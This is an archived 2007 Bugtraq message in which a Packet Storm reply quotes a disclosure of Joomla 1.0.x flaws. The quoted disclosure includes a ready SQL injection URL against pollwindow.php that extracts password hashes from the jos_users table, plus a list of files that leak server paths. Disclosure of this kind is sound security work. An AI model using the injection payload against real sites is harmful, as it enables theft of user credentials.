lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Date: Thu, 27 Sep 2007 04:50:47 +0200 From: packet@...ketstormsecurity.org To: security@...or.net Cc: bugtraq@...urityfocus.com Subject: Re: Joomla multiple vulerabilities (1.0.X >= ) This exact mail was also sent out in july.. http://packetstormsecurity.org/0707-exploits/joomla-sql.txt On Wed, Sep 26, 2007 at 07:09:17PM -0000, security@...or.net wrote: > Hello > > Joomla multiple vulerabilities > > Discovered By : HACKERS PAL > Copy rights : HACKERS PAL > Website : http://www.soqor.net > Email Address : security (at) soqor (dot) net > > Affected Versions > 1.0.X -> tested on 1.0.12 > > and 1.5 maybe affected -> not tested but probebly affected > > sql injection > administrator/popups/pollwindow.php?pollid=1%20union%20select%20password > %20from%20jos_users/* > > Full path > > Many many in > includes/ > > Examples > > includes/Cache/Lite/Output.php > > includes/patTemplate/patTemplate/Stat.php > includes/patTemplate/patTemplate/OutputFilter.php > includes/patTemplate/patTemplate/OutputCache.php > includes/patTemplate/patTemplate/Modifier.php > includes/patTemplate/patTemplate/Reader.php > includes/patTemplate/patTemplate/TemplateCache.php > .. ETC > > GrEEtZ : DeviL-00 , Dr.ExE , GaCkeR , Sp1deR_Net , Black AttaCk , MiniMan , JareeH BaghdaD , Le Copra; > Special GrEEtZ For : MohAjali AnD SoQoR.NeT TeaM AnD MemberS; > > End of it :) > WwW.SoQoR.NeT
Powered by blists - more mailing lists